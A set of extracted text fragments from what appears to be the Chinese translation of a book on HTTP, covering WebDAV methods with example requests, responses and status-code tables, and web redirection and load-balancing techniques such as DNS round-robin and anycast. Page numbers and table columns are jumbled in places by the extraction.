    {"text": "HTTP权威指南 433 LOCK /ch-publish.fm HTTP/1.1 Host: minstar Content-Type: text/xml User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT) Content-Length: 201 发布系统 ｜ 453 <?xml version=\"1.0\"?> <a:lockinfo xmlns:a=\"DAV:\"> <a:lockscope><a:exclusive/></a:lockscope> <a:locktype><a:write/></a:locktype> <a:owner><a:href>AuthorA</a:href></a:owner> </a:lockinfo> 提交的 XML 以 <lockinfo> 元素作为其基元素。"},
    {"text": "下面是这个 LOCK 请求的成功响应： HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Fri, 10 May 2002 20:56:18 GMT Content-Type: text/xml Content-Length: 419 <?xml version=\"1.0\"?> <a:prop xmlns:a=\"DAV:\"> <a:lockdiscovery><a:activelock> <a:locktype><a:write/></a:locktype> <a:lockscope><a:exclusive/></a:lockscope> <a:owner xmlns:a=\"DAV:\"><a:href>AutherA</a:href></a:owner> <a:locktoken><a:href>opaquelocktoken:*****</a:href></a:locktoken> <a:depth>0</a:depth> <a:timeout>Second-180</a:timeout> </a:activelock></a:lockdiscovery> </a:prop> <lockdiscovery> 元 素 充 当 着 存 储 锁 信 息 的 容 器。 嵌 入 在 <lockdiscovery> 元 素 中 的 子 元 素 有 <activelock>， 它 持 有 请 求 发 送 来 的 信 息（<locktype>、 <lockscope> 以及 <owner>）。"},
    {"text": "2. XML元素 <lockdiscovery> XML 元素 <lockdiscovery> 提供了发现活跃的锁的机制。 如果有人试图去给已 经被锁定的文件上锁，他会收到指明当前拥有者的 XML 元素 <lockdiscovery>。 <lockdiscovery> 元素列出了所有未解除的锁和相应的属性。"},
    {"text": "示例如下： UNLOCK /ch-publish.fm HTTP/1.1 Host: minstar.inktomi.com User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT) Lock-Token: opaquelocktoken:********* HTTP/1.1 204 OK Server: Microsoft-IIS/5.0 Date: Fri, 10 May 2002 20:56:18 GMT 与大多数资源管理请求一样，要使 UNLOCK 操作成功，WebDAV 要满足两个条件： 第一，先前已经成功完成了摘要认证步骤；"},
    {"text": "表19-1 LOCK和UNLOCK方法的状态码 状 态 码 定 义 者 方 法 效 果 200 OK HTTP LOCK 表明锁定成功 201 Created HTTP LOCK 表明通过创建该资源已成功锁定了不存在的资源 204 No Content HTTP UNLOCK 表明解锁成功 207 Multi-Status WebDAV LOCK 请求锁定多个资源。 返回的资源状态码不完全一 样，因此，这些状态码被封装在一个 207 响应中 403 Forbidden HTTP LOCK 表明客户端没有权限锁定资源 412 Precondition Failed HTTP LOCK 可能是随 LOCK 命令发送的 XML 中指明要满足 某条件而服务器无法完成，也可能是无法强制执 行锁定令牌 422 Unprocessable Property WebDAV LOCK 语义不适用——比如为不是集合的资源指定了非 0 的 Depth 423 Locked WebDAV LOCK 已处于锁定状态 424 Failed Dependency WebDAV UNLOCK UNLOCK 指定了其他动作，并以它们的成功作 为解锁的前提条件。"},
    {"text": "如果无法成功完成这些有依 赖关系的动作，就返回此错误码 19.2.7 属性和元数据 属性描述了资源的信息，包括作者的名字、修改日期、内容分级，等等。"},
    {"text": "下面这个例子中，请求的是所有属性及其值： PROPFIND /ch-publish.fm HTTP/1.1 Host: minstar.inktomi.com User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT) Depth: 0 Cache-Control: no-cache Connection: Keep-Alive Content-Length: 0 <propfind> 请求元素指定了从 PROPFIND 方法返回的属性。"},
    {"text": "下面的列表总结了用 于 PROPFIND 请求的一些 XML 元素： • <allprop> 要求返回所有属性的名字和值。 为了请求所有的属性及其值，WebDAV 客户端 可以将 XML 子元素 <allprop> 作为 <propfind> 元素的一部分发送，或提交一 个没有主体的请求。"},
    {"text": "下面是对一个 PROPFIND 请求示例的响应： 437 发布系统 ｜ 457 HTTP/1.1 207 Multi-Status Server: Microsoft-IIS/5.0 ........... <?xml version=\"1.0\"?> <a:multistatusxmlns:b=\"urn:uuid:********/\" xmlns:c=\"xml:\" xmlns:a=\"DAV:\"> <a:response> <a:href>http://minstar/ch-publish.fm </a:href> <a:propstat> <a:status>HTTP/1.1 200OK</a:status> <a:prop> <a:getcontentlength b:dt=\"int\">1155</a:getcontentlength> ...................... ...................... <a:ishidden b:dt=\"boolean\">0</a:ishidden> <a:iscollection b:dt=\"boolean\">0</a:iscollection> </a:prop> </a:propstat> </a:response></a:multistatus> 在这个例子中，服务器以 207 Multi-Status 状态码进行响应。"},
    {"text": "下面这个小例子设置并删除了 owner 属性： <d:propertyupdate xmlns:d=\"DAV:\" xmlns:o=\"http://name-space/scheme/\"> <d:set> <d:prop> <o:owner>Author A</o:owner> </d:prop> </d:set> <d:remove> <d:prop> <o:owner/> </d:prop> </d:remove> </d:propertyupdate> 对 PROPPATCH 请求的响应和对 PROPFIND 请求的响应非常像。"},
    {"text": "表19-2 PROPFIND与PROPPATCH方法的状态码 状 态 码 定 义 者 方 法 效 果 200 OK HTTP PROPFIND, PROPPATCH 命令成功 207 Multi-Status WebDAV PROPFIND, PROPPATCH 作用于一个或多个资源（或者集合）时， 每个对象的状态都被封装到一个 207 响 应中。 这是一种常见的成功响应 401 Unauthorized HTTP PROPATCH 需要授权才能完成对属性的修改操作 发布系统 ｜ 459 （续） 状 态 码 定 义 者 方 法 效 果 403 Forbidden HTTP PROPFIND, PROPPATCH 对于 PROPFIND 来说，客户端不允许访 问该属性。 对于 PROPPATCH 来说，客 户端不允许修改该属性 404 Not Found HTTP PROPFIND 属性不存在 409 Conflict HTTP PROPPATCH 与修改语义冲突——例如，试图修改只 读的属性 423 Locked WebDAV PROPPATCH 目标资源被锁定，并且没有提供锁定令 牌，或者锁定令牌不匹配 507 Insufficient WebDAV PROPPATCH 没有足够的空间登记修改的属性 Storage 19.2.10 集合与名字空间管理 集合是指对预定义的层次结构中的资源进行的逻辑或物理上的分组。"},
    {"text": "下面是请求的例子： MKCOL /publishing HTTP/1.1 460 ｜ 第 19 章 Host: minstar Content-Length: 0 Connection: Keep-Alive 其响应可能是： HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 Date: Fri, 10 May 2002 23:20:36 GMT Location: http://minstar/publishing/ Content-Length: 0 我们再考察下面几种异常情况。"},
    {"text": "如果发出 MKCOL /colA 请求而 colA 已存在（也就是说有名 字空间冲突），请求会失败，状态码是 405 Method Not Allowed。 • 如果没有写权限，MKCOL 请求会得到 403 Forbidden 失败状态码。 440 • 如果发出 MKCOL /colA/colB 这样的请求而 colA 不存在，请求会失败，状态码 是 409 Conflict。"},
    {"text": "下面是一个请求的示例： DELETE /publishing HTTP/1.0 Host: minstar 其响应的示例如下： HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Tue, 14 May 2002 16:41:44 GMT Content-Location: http://minstar/publishing/ Content-Type: text/xml Content-Length: 0 删除集合时，总是有可能发生其中某个文件被其他人锁定而无法删除的情况。"},
    {"text": "请求示 例如下： 发布系统 ｜ 461 DELETE /publishing HTTP/1.0 Host: minstar 其响应的示例如下： HTTP/1.1 207 Multi-Status Server: Microsoft-IIS/5.0 Content-Location: http://minstar/publishing/ .............. <?xml version=\"1.0\"?> <a:multistatus xmlns:a=\"DAV:\"> <a:response> <a:href>http://minstar/index3/ch-publish.fm</a:href> <a:status> HTTP/1.1 423 Locked </a:status> </a:response> </a:multistatus> 在 这 次 事 务 中，XML 元 素 <status> 中 含 有 状 态 码 423 Locked， 表 明 资 源 ch-441 publish.fm 被别的用户锁定了。"},
    {"text": "COPY 和 MOVE 方法都将请求 URL 作为源，HTTP 的 Destination 首部的内容作 为目标。 MOVE 方法在 COPY 方法之外还要做一些工作：它把源 URL 复制到目的 地，检查新创建的 URI 的完整性，再把源删除。"},
    {"text": "请求示例如下： {COPY,MOVE} /publishing HTTP/1.1 Destination: http://minstar/pub-new Depth: infinity Overwrite: T Host: minstar 其响应示例如下： HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 Date: Wed, 15 May 2002 18:29:53 GMT Location: http://minstar.inktomi.com/pub-new/ Content-Type: text/xml Content-Length: 0 在 对 集 合 操 作 时，COPY 或 MOVE 的 行 为 受 到 Depth 首 部 的 影 响。"},
    {"text": "3. 被锁定的资源与COPY/MOVE 如果资源目前正被锁定，COPY 和 MOVE 都禁止把锁移动或复制到目标上。 在这两 种情况下，如果要在一个自己有锁的现存集合中创建目标，所复制或移动的资源就 会被加到那个锁中。"},
    {"text": "请看下面的例子： COPY /publishing HTTP/1.1 Destination: http://minstar/archived/publishing-old 假设 /publishing 和 /archived 分别处于两个不同的锁之下：lock1 和 lock2。 当 COPY 发布系统 ｜ 463 操作结束时，/publishing 仍旧处于 lock1 的范围内，而由于移动到了已被 lock2 锁 定 的 集 合 中，publishing-old 被 加 入 到 了 lock2 中。"},
    {"text": "表 19-3 列出了 MKCOL、DELETE、COPY 以及 MOVE 方法最有可能碰到的状态码。 表19-3 MKCOL、DELETE、COPY和MOVE方法的状态码 状 态 码 定 义 者 方 法 效 果 102 Processing WebDAV MOVE、COPY 如果请求花费的时间超过 20 秒，服务器就发送 这个状态码防止客户端超时。"},
    {"text": "通常在 COPY 或 MOVE 大的集合时可以见到 201 Created HTTP MKCOL、COPY、 对于 MKCOL，表示集合创建成功。 对于 COPY 443 MOVE 和 MOVE，表示资源 / 集合已经复制或移动成功 204 No Content HTTP DELETE、COPY、 对 于 DELETE， 表 示 标 准 的 成 功 响 应。 对 于 MOVE COPY 和 MOVE，表示资源被成功地复制或移动 而覆盖了已有的实体 207 Multi-Status WebDAV MKCOL、COPY、 对 于 MKCOL， 表 示 常 见 的 成 功 响 应。 对 于 MOVE COPY 和 MOVE 来说，如果有与资源相关（除 请 求 URI 之 外 的 ） 的 错 误， 服 务 器 就 回 复 207 响应，其中带有详述错误的 XML 主体 403 Forbidden HTTP MKCOL、COPY、 对于 MKCOL，表明服务器不允许在指定的位置 MOVE 创 建 集 合。 对 于 COPY 和 MOVE，表明源和目 的是相同的 409 Conflict HTTP MKCOL、COPY、 三种情况类似，都是方法试图创建集合或资源， MOVE 而 中 间 集 合 不 存 在 —— 例 如， 试 图 创 建 colA/ colB，而 colA 不存在 412 Precondition HTTP COPY、MOVE 或者是 Overwrite 首部设置为 F 而目标存在， Failed 或者是 XML 主体描述了一个特定需求（比如保 持 liveness 属 性 ）， 而 COPY 或 MOVE 方 法 无法保持该属性 415 Unsupported HTTP MKCOL 服务器不支持或不理解如何创建请求的实体类型 Media Type 422 Unprocessable WebDAV MKCOL 服务器不理解请求中发送的 XML 主体 Entity 423 Locked WebDAV DELETE、COPY、 源或目标资源被锁定，或者方法提供的锁定令牌 MOVE 不匹配 502 Bad Gateway HTTP COPY、MOVE 目标在不同的服务器上并且缺少权限 507 Insufficient WebDAV MKCOL、COPY 没有足够的空闲空间创建资源 Storage 464 ｜ 第 19 章 19.2.14 增强的HTTP/1.1方法 WebDAV 修 改 了 HTTP 中 DELETE、PUT 以 及 OPTIONS 方 法 的 语 义。"},
    {"text": "444 请看下面的例子： PUT /ch-publish.fm HTTP/1.1 Accept: */* If:<http://minstar/index.htm>(<opaquelocktoken:********>) User-Agent: DAV Client (C) Host: minstar.inktomi.com Connection: Keep-Alive Cache-Control: no-cache Content-Length: 1155 为了支持锁定，WebDAV 在 PUT 请求中增加了 If 首部。"},
    {"text": "在上面的事务中，If 首 部的语义规定，如果 If 首部中说明的锁定令牌与资源（在这个例子中，是 ch- publish.fm）上的锁相匹配，就应当执行 PUT 操作。"},
    {"text": "请看一个事务，其请 求如下： OPTIONS /ch-publish.fm HTTP/1.1 Accept: */* Host: minstar.inktomi.com 其响应如下： HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 MS-Author-Via: DAV DASL: <DAV:sql> DAV: 1, 2 Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, 发布系统 ｜ 465 MKCOL,PROPFIND,PROPPATCH, LOCK, UNLOCK, SEARCH Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,PROPPATCH, SEARCH, LOCK, UNLOCK 在对 OPTIONS 方法的响应中有一些有趣的首部。"},
    {"text": "可以工作的客户端实现包括 IE 5.x 及以上版 本，Windows 系统的文件管理器以及微软的办公软件。 在服务器端，可用的实现包 括 IIS5.x 及以上版本，Apache 的 mod_dav 以及很多其他的系统。"},
    {"text": "• http://www.ietf.org/rfc/rfc2518.txt?number=2518 “HTTP Extensions for Distributed Authoring—WEBDAV”（“HTTP 的分布式写作 扩展—WEBDAV”），作者是 Y. Goland、J. Whitehead、A. Faizi、S. Carter 以及 D. Jensen。 446 • http://www.ietf.org/rfc/rfc3253.txt?number=3253 “Versioning Extensions to WebDAV”（“对 WebDAV 进行版本管理扩展”），作者 是 G. Clemm、J. Amsden、T. Ellison、C. Kaler 和 J. Whitehead。 • http://www.ics.uci.edu/pub/ietf/Webdav/intro/Webdav_intro.pdf “ W E B D A V : I E T F S t a n d a r d f o r C o l l a b o r a t i v e A u t h o r i n g o n t h e W e b ” （“WEBDAV：在 Web 上进行协同写作的 IETF 标准”），作者是 J. Whitehead 和 M. Wiggins。 • http://www.ics.uci.edu/~ejw/http-future/whitehead/http_pos_paper.html “Lessons from WebDAV for the Next Generation Web Infrastructure”（“ 在 下 一 代 Web 的基础架构中借鉴 WebDAV”），作者是 J. Whitehead。 • http://www.microsoft.com/msj/0699/dav/davtop.htm “Distributed Authoring and Versioning Extensions for HTTP Enable Team Authoring”（“HTTP 中为支持团队写作而做的分布式写作和版本管理扩展”），作 者是 L. Braginski 和 M.Powell。"},
    {"text": "• http://www.webdav.org/dasl/protocol/draft-dasl-protocol-00.html “DAV Searching & Locating”（“DAV 中 的 搜 索 和 定 位 ”）， 作 者 是 S. Reddy、D. Lowry、S. Reddy、R. Henderson、J. Davis 以及 A. Babich。"},
    {"text": "将请求分摊到复制的服务器中去，就意味 着应该把对某特定 URL 的每条请求都发送到最佳的 Web 服务器上去（最靠近客户 端的、或负载最轻的或采用其他优化策略选择的服务器）。"},
    {"text": "比如，如果某代理缓存靠近各种不同的客户端，那么 理想情况下，所有请求都应流经这个代理缓存，因为代理缓存上会存储常用的文档， 可以直接提供，从而避免通过更长、更昂贵的路径连接到原始服务器。"},
    {"text": "重定向与负载均衡 ｜ 471 浏览器配置、DNS、TCP/IP 路由以及 HTTP 都提供了重定向报文的机制。 注意，有 些方法，比如浏览器配置，只有在将流量重定向到代理的时候才有意义，而其他一 些方法（比如 DNS 重定向），则可用于将流量发送给任意服务器。"},
    {"text": "表20-1 通用的重定向方法 机 制 工作方式 重新路由的基础 局 限 性 HTTP 重定向 最 初，HTTP 请 求 先 到 第 一 台 选 择 最 短 路 径 时 可 用 的 可能会很慢——每个事 Web 服务器，这台服务器会选 选 项 很 多， 包 括 轮 转 务都包含了附加的重定 择一台“最佳”的 Web 服务器 （round-robin） 负 载 均 衡 向步骤。"},
    {"text": "第一台 Web 服 和最小化时延等 服务器一定要能够处理 务器会向客户端发送一条到指 请求负载 定服务器的 HTTP 重定向。 客 户端会将请求重新发送到选中 的服务器上 DNS 重定向 DNS 服 务 器 决 定 在 URL 的 主 选 择 最 短 路 径 时 可 用 的 需要配置 DNS 服务器 机名中返回多个 IP 地址中的哪 选 项 很 多， 包 括 轮 转 一个 （round-robin） 负 载 均 衡 和最小化时延等 任播寻址 几 台 服 务 器 使 用 相 同 的 IP 地 路由器有内建的最短路径 需要拥有 / 配置路由器。"},
    {"text": "其他路由器会 果路由变化了，与已建 将共享 IP 地址分组发送给最近 立的 TCP 连接相关的分 的服务器（认为它们将分组发 组会被发送到其他的服 450 送给最近的路由器） 务器，可能会使 TCP 连 接断裂 IP MAC 转发 交换机或路由器这样的网元会 节 省 带 宽， 提 高 QOS。"},
    {"text": "如果应 负载均衡 须是 1 该将分组重定向，交换机会将 服务器或代理的目标 MAC 地 址赋予分组 IP 地址转发 第四层交换机会评估分组的目 节 省 带 宽， 提 高 QOS。"},
    {"text": "服务器或代理可能看不 的端口并将重定向分组的 IP 地 负载均衡 到真正的客户端 IP 地址 址改成代理或镜像服务器的 IP 地址 注 1： DNS 也不能随便重定向，目标 IP 地址的服务器上没有托管所需的虚拟主机的话，就和浏览器代理配 错一样，毫无意义。"},
    {"text": "表20-2 代理与缓存重定向技术 机 制 工作方式 重新路由的基础 局 限 性 显式浏览器配置 配 置 Web 浏 览 器， 使 其 将 节 省 带 宽， 提 高 取 决 于 配 置 浏 览 器 的 HTTP 报文发送给附近的一 QoS。"},
    {"text": "可以 由终端用户或管理浏览器的 服务进行配置 代理自动配置（PAC） Web 浏 览 器 从 配 置 服 务 器 节 省 带 宽， 提 高 必须配置浏览器，使其 中 解 析 出 PAC 文 件。"},
    {"text": "负载均衡 去查询配置服务器 PAC 文件会告诉浏览器为每 个 URL 使用什么代理 Web Proxy 代理自动发现 Web 浏览器向配置服务器查 配 置 服 务 器， 将 只 有 部 分 浏 览 器 支 持 协议（WPAD） 询 一 个 PAC 文 件 的 URL。 URL 建 立 在 客 户 WPAD 与 单 独 使 用 PAC 不 同， 不 端 HTTP 请 求 首 需要将浏览器配置为使用特 部 提 供 的 信 息 之 定的配置服务器 上。"},
    {"text": "可以将 分组封装起来，这样客户端 的 IP 地址就不会丢失了 因特网缓存协议（ICP） 代理缓存会在一组兄弟代理 从 兄 弟 代 理 或 父 请 求 内 容 时 只 使 用 了 缓存中查询所请求的内容。"},
    {"text": "代 理 缓 存 中 获 取 URL，所以会降低缓存 还支持缓存的分层结构 内 容 比 从 原 始 服 命中率 务器中获取更快 缓存分组路由协议（CARP） 一种代理缓存散列协议。"},
    {"text": "否则，不同的客户 的，这组缓存会像一个大型 端就会向不同的父代理 缓存那样工作 缓 存 发 送 相 同 的 URI， 降低命中率 451 超文本缓存协议（HTCP） 参与的代理缓存可以向一组 从 兄 弟 代 理 或 父 兄 弟 缓 存 查 询 所 请 求 的 内 代 理 缓 存 中 获 取 容。"},
    {"text": "支 持 HTTP 1.0 和 1.1 内 容 比 从 原 始 服 首部，以便精细地调整缓存 务器上获取快 查询 重定向与负载均衡 ｜ 473 20.4 通用的重定向方法 本节我们会深入介绍服务器和代理常用的各种重定向方法。"},
    {"text": "对广泛分布的 Web 站点来说，确定“最佳”的可用服务器会更复杂 一些，不仅要考虑到服务器的负载，还要考虑到浏览器和服务器之间的因特网距离。"},
    {"text": "在图 20-1a 中，Alice 向 www.joes-hardware.com 发送了一条请求： GET /hammers.html HTTP/1.0 Host: www.joes-hardware.com User-Agent: Mozilla/4.51 [en] (X11; U; IRIX 6.2 IP22) 在图 20-1b 中，服务器没有回送带有 HTTP 状态码 200 的 Web 页面主体，而是回送 了一个带有状态码 302 的重定向报文： HTTP/1.0 302 Redirect Server: Stronghold/2.4.2 Apache/1.3.6 Location: http://161.58.228.45/hammers.html 现在，在图 20-1c 中，浏览器会用重定向 URL 重新发送请求，这次会发送给主机 161.58.228.45： GET /hammers.html HTTP/1.0 Host: 161.58.228.45 User-Agent: Mozilla/4.51 [en] (X11; U; IRIX 6.2 IP22) 另一个客户端可能会被重定向到另一台服务器上去。"},
    {"text": "474 ｜ 第 20 章 因特网 （a）Alice向www.joes-hardware.com发送HTTP请求 （b）服务器返回302，重定向到161.58.228.45 （c）浏览器重 161.58.228.45 161.58.228.46 161.58.228.47 新发送HTTP请 Alice 求， www.joes-hardware.com 这一次发送给161.58.228.45 Bob 因特网 Alice （d）Bob向www.joes-hardware.com发送HTTP请求 （e）服务器返回302，重定向到161.58.228.46 161.58.228.45 161.58.228.46 161.58.228.47 （f）浏览器重新发 Bob 送HT www.joes-hardware.com TP请求，这次发送给161.58.228.46 图 20-1 HTTP 重定向 HTTP 重定向可以在服务器间导引请求，但它有以下几个缺点。"},
    {"text": "DNS 解析程序可能是客户端自己的操作系统，可能是客户端 网络中的一台 DNS 服务器，或者是一台远距离的 DNS 服务器。 DNS 允许将几个 IP 地址关联到一个域中，可以配置 DNS 解析程序，或对其进行编程，以返回可变的 IP 地址。"},
    {"text": "解析程序返回 IP 地址时所基于的原则可以很简单（轮转），也可以很复杂 （比如查看几台服务器上的负载，并返回负载最轻的服务器的 IP 地址）。"},
    {"text": "www.joes-hardware.com DNS服务器 决定是否解析到 10.10.10.1、 10.10.10.2、 10.10.10.3、 10.10.10.4 www.joes-hardware.com 10.10.10.4 服务器4 骨干网络 10.10.10.1 服务器1 客户端 路由器 交换机 www.joes-hardware.com 客户端 边缘网络 www.joes-hardware.com 10.10.10.2 服务器2 10.10.10.3 服务器3 图 20-2 基于 DNS 的重定向 整个 DNS 解析过程的完整介绍，请参见本章末尾列出的 DNS 参考资料。"},
    {"text": "2 例 20-1 www.cnn.com 的 IP 地址 % nslookup www.cnn.com 454 Name: cnn.com Addresses: 207.25.71.5, 207.25.71.6, 207.25.71.7, 207.25.71.8 207.25.71.9, 207.25.71.12, 207.25.71.20, 207.25.71.22, 207.25.71.23 207.25.71.24, 207.25.71.25, 207.25.71.26, 207.25.71.27, 207.25.71.28 注 2： DNS 的结果是在 2000 年 5 月 7 日，从北加州解析出来的。"},
    {"text": "476 ｜ 第 20 章 207.25.71.29, 207.25.71.30, 207.25.71.82, 207.25.71.199, 207.25.71.245 207.25.71.246 Aliases: www.cnn.com 网站 www.cnn.com 实际上是 20 个不同的 IP 地址组成的集群。"},
    {"text": "2. 多个地址及轮转地址的循环 大多数 DNS 客户端只会使用多地址集中的第一个地址。 为了均衡负载，大多数 DNS 服务器都会在每次完成查询之后对地址进行轮转。 这种地址轮转通常称作 DNS 轮转。 例如，对 www.cnn.com 进行三次连续的 DNS 查找可能会返回例 20-2 给出的那种 IP 地址轮转列表。"},
    {"text": "例 20-2 轮转 DNS 地址列表 % nslookup www.cnn.com Name: cnn.com Addresses: 207.25.71.5, 207.25.71.6, 207.25.71.7, 207.25.71.8 207.25.71.9, 207.25.71.12, 207.25.71.20, 207.25.71.22, 207.25.71.23 207.25.71.24, 207.25.71.25, 207.25.71.26, 207.25.71.27, 207.25.71.28 207.25.71.29, 207.25.71.30, 207.25.71.82, 207.25.71.199, 207.25.71.245 207.25.71.246 % nslookup www.cnn.com Name: cnn.com Addresses: 207.25.71.6, 207.25.71.7, 207.25.71.8, 207.25.71.9 207.25.71.12, 207.25.71.20, 207.25.71.22, 207.25.71.23, 207.25.71.24 207.25.71.25, 207.25.71.26, 207.25.71.27, 207.25.71.28, 207.25.71.29 207.25.71.30, 207.25.71.82, 207.25.71.199, 207.25.71.245, 207.25.71.246 207.25.71.5 % nslookup www.cnn.com Name: cnn.com Addresses: 207.25.71.7, 207.25.71.8, 207.25.71.9, 207.25.71.12 207.25.71.20, 207.25.71.22, 207.25.71.23, 207.25.71.24, 207.25.71.25 207.25.71.26, 207.25.71.27, 207.25.71.28, 207.25.71.29, 207.25.71.30 207.25.71.82, 207.25.71.199, 207.25.71.245, 207.25.71.246, 207.25.71.5 207.25.71.6 在例 20-2 中： • 第一次 DNS 查找时的第一个地址为 207.25.71.5；"},
    {"text": "• Bob 随后试图连接 www.cnn.com 时，也会用 DNS 查找 IP 地址，但由于地址 列表在 Alice 上次请求的基础上轮转了一个位置，所以他会得到一个不同的结 果。"},
    {"text": "（a）Alice向DNS请求www.cnn.com的IP地址 （b）DNS以207.25.71.5进行回应 （c）Alice向2 207.25.71.5 207.25.71.6 207.25.71.7 07.25. Alice 71.5发送H DNS T 服务器 TP请求 因特网 Bob 因特网 Alice（d）Bob向DNS请求www.cnn.com的IP地址 （e）DNS以207.25.71.6进行回应 207.25.71.5 207.25.71.6 207.25.71.7 （f）Bob向207 Bob .25.71.6发 DNS服务器 送HTTP请求 图 20-3 DNS 轮转在服务器集群的各台服务器之间进行负载均衡 478 ｜ 第 20 章 4. DNS缓存带来的影响 DNS 对服务器的每次查询都会得到不同的服务器地址序列，所以 DNS 地址轮转会 将负载分摊。"},
    {"text": "很多 Web 浏览器都 456 会对主机进行 DNS 查找，然后一次次地使用相同的地址，以减少 DNS 查找的开销， 而且有些服务器也更愿意保持与同一台客户端的联系。"},
    {"text": "因此，DNS 轮转通 常都不会平衡单个客户端的负载——一个客户端通常会在很长时间内连接到一台服 务器上。 尽管 DNS 没有对单个客户端的事务进行跨服务器副本的处理，但在分散多个客户端 的总负荷方面它做得相当好。"},
    {"text": "• 负载均衡算法 有些 DNS 服务器会跟踪 Web 服务器上的负载，将负载最轻的 Web 服务器放在 列表的最前面。 • 邻接路由算法 Web 服务器集群在地理上分散时，DNS 服务器会尝试着将用户导向最近的 Web 服务器。 • 故障屏蔽算法 DNS 服务器可以监视网络的状况，并将请求绕过出现服务中断或其他故障的 地方。 通常，运行复杂服务器跟踪算法的 DNS 服务器就是在内容提供者控制之下的一个权 威服务器（参见图 20-4）。"},
    {"text": "对于那些要查找附近服务器的 服务来说，这个模型的一个缺点就是 , 权威 DNS 服务器只能用本地 DNS 服务器的 IP 地址，而不能用客户端的 IP 地址来做决定。"},
    {"text": "重定向与负载均衡 ｜ 479 IP地址IP地址 根DNS服务器 （b）从根服务器请求 （c）发送权威服务器的 的IP地址 （d）请求IP地址 www.cnn.com （e）返回IP地址207.25.71.5 本地DNS服务器 权威DNS服务器 （a）请求 监视着cnn服务器 （f）向207.25.71.5 Alice 上的服务器发送 HTTP请求 www.cnn.com www.cnn.com www.cnn.com (207.25.71.5) (207.25.71.6) (207.25.71.7) 图 20-4 涉及权威服务器的 DNS 请求 20.4.3 任播寻址 在任播寻址中，几个地理上分散的 Web 服务器拥有完全相同的 IP 地址，而且会通 过骨干路由器的“最短路径”路由功能将客户端的请求发送给离它最近的服务器。"},
    {"text": "骨干路由器 收到发送给任播地址的分组时，会（像平常一样）寻找接受那个 IP 地址的最近的 “路由器”。 由于服务器是将自己作为那个地址的路由器广告出去的，所以骨干路由 器会将分组发送给服务器。"},
    {"text": "要使用分布式任播技术，服务器就必须“使用路由 器语言”，而且路由器必须能够处理可能出现的地址冲突，因为因特网地址基本上 都是假定一台服务器只有一个地址的。"},
    {"text": "www.joes-hardware.com 骨干网络 10.10.10.1 路由器 服务器 客户端 1 路由器 交换机 www.joes-hardware.com 路由器 客户端 边缘网络 www.joes-hardware.com 10.10.10.1 服务器2 10.10.10.1 服务器3 图 20-5 分布式任播寻址 458 20.4.4 IP MAC转发 在以太网中，HTTP 报文都是以携带地址的数据分组的形式发送的。"},
    {"text": "每个分组还有一个第二层地址，MAC（Media Access Control，媒 体访问控制）地址，这是第二层设备（通常是交换机和 Hub）所关注的地址。 第二 层设备的任务是接收具有特定输入 MAC 地址的分组，然后将其转发到特定的输出 MAC 地址上去。"},
    {"text": "客户端MAC1 通向因特网 Hub MAC3 交换机MAC4 网关MAC5 客户端MAC2 图 20-6 第二层交换机会将客户端请求发送给一个网关 重定向与负载均衡 ｜ 481 第四层交换机能够检测出第四层地址（IP 地址和 TCP 端口号），并据此来选择路由。"},
    {"text": "客户端MAC1 通向因特网 Hub MAC3 交换机MAC4 网关MAC5 端口80的流量 客户端MAC2 代理缓存MAC6 图 20-7 通过第四层交换机进行 MAC 转发 通常，如果缓存中有所请求的 HTTP 内容，而且是新鲜的，那么就由代理缓存来提 供内容；"},
    {"text": "20.4.5 IP地址转发 在 IP 地址转发中，交换机或其他第四层设备会检测输入分组中的 TCP/IP 地址，并 通过修改目的 IP 地址（不是目的 MAC 地址），对分组进行相应的转发。"},
    {"text": "从客户端接受输入 TCP 连接的交换机管理着连 接； 交换机必须通过那条 TCP 连接将响应回送给客户端。 这样，所有来自目标服务 器或代理的响应都必须返回给交换机（参见图 20-8）。"},
    {"text": "482 ｜ 第 20 章 目标代理 骨干网络 Joe的服务器 客户端 Joe的边 路由器 交换机 缘网络 客户端 客户端 边缘网络 图 20-8 对代理缓存或镜像 Web 服务器进行 IP 地址转发的交换机 460 有以下两种方式可以控制响应的返回路径。"},
    {"text": "来自：客户端 通过网络地址 来自：NAT设备 1.1.1.1 转换（NAT） 3.3.3.3 80 设备进行传输 发往：Joe的服务器 80 发往：代理 2.2.2.2 4.4.4.4 80 80 HTTP数据 HTTP数据 图 20-9 一条 TCP/IP 数据报的完全 NAT 重定向与负载均衡 ｜ 483 20.4.6 网元控制协议 NECP（Network Element Control Protocol，网元控制协议）允许网元（NE，路由器 和交换机等负责转发 IP 分组的设备）与服务器元素（SE，Web 服务器和代理缓存 等提供应用层请求的设备）进行交互。"},
    {"text": "SE 必须知 道要连接哪个 NE 端口 NECP_INIT_ACK NE 确认 NECP_INIT NECP_KEEPALIVE NE 或 SE 询问对等实体是否仍然活跃 NECP_KEEPALIVE_ACK NE 或 SE 对 keep-alive 报文的应答 NECP_START SE SE 说：“我在这里，做好接受网络流量的准备 了。 ”可以指定端口 NECP_START_ACK NE 确认 NECP_START NECP_STOP SE SE 告诉 NE“停止向我发送流量。 ” NECP_STOP_ACK NE NE 确认 NECP_STOP 操作 NECP_EXCEPTION_ADD SE SE 说要向 NE 列表中添加一个或多个例外。 例 外 可 以 基 于 源 IP 地 址、 目 的 IP 地 址、（IP 之 上的）协议，或者端口 NECP_EXCEPTION_ADD_ACK NE 对 NECP_EXCEPTION_ADD 进行证实 NECP_EXCEPTION_DEL SE 请求 NE 从列表中删除一个或多个例外 NECP_EXCEPTION_DEL_ACK NE 对 NECP_EXCEPTION_DEL 进行证实 NECP_EXCEPTION_RESET SE 请求 NE 删除整个例外列表 NECP_EXCEPTION_RESET_ACK NE 对 NECP_EXCEPTION_RESET 进行证实 NECP_EXCEPTION_QUERY SE 查询 NE 的整个例外列表 NECP_EXCEPTION_RESP NE 响应例外查询 484 ｜ 第 20 章 20.5 代理的重定向方法 到目前为止，我们已经讨论过通用的重定向方法了。"},
